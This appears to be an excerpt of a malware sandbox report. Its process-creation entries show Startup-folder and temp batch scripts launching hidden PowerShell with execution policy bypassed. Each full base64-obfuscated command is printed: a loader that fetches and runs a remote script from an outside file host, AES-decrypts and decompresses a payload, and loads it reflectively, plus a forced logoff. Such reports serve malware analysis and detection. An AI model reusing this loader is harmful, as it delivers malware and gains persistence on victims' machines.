"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_79ced6d4.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_79ced6d4.cmd"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\shutdown.exe shutdown.exe -L
Source: unknown	Process created: C:\Windows\System32\LogonUI.exe "LogonUI.exe" /flags:0x4 /state0:0xa3f5c055 /state1:0x41c64e6d
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\fontdrvhost.exe "fontdrvhost.exe"
Source: unknown	Process created: C:\Windows\System32\LogonUI.exe "LogonUI.exe" /flags:0x2 /state0:0xa3f66055 /state1:0x41c64e6d
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\LogonUI.exe "LogonUI.exe" /flags:0x2 /state0:0xa3f76055 /state1:0x41c64e6d
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fontdrvhost.exe "fontdrvhost.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\dwm.exe "dwm.exe"
Source: unknown	Process created: C:\Windows\System32\LogonUI.exe "LogonUI.exe" /flags:0x2 /state0:0xa3f7d855 /state1:0x41c64e6d
Source: unknown	Process created: C:\Windows\System32\fontdrvhost.exe "fontdrvhost.exe"
Source: unknown	Process created: C:\Windows\System32\LogonUI.exe "LogonUI.exe" /flags:0x2 /state0:0xa3f05055 /state1:0x41c64e6d
Source: unknown	Process created: C:\Windows\System32\fontdrvhost.exe "fontdrvhost.exe"
Source: unknown	Process created: C:\Windows\System32\LogonUI.exe "LogonUI.exe" /flags:0x2 /state0:0xa3f0c855 /state1:0x41c64e6d
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\bYKR19crJ6p8904.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Local\Temp\bYKR19crJ6p8904.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\shutdown.exe shutdown.exe -L	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6dd171fd.cmd"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0c891e71.cmd"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06O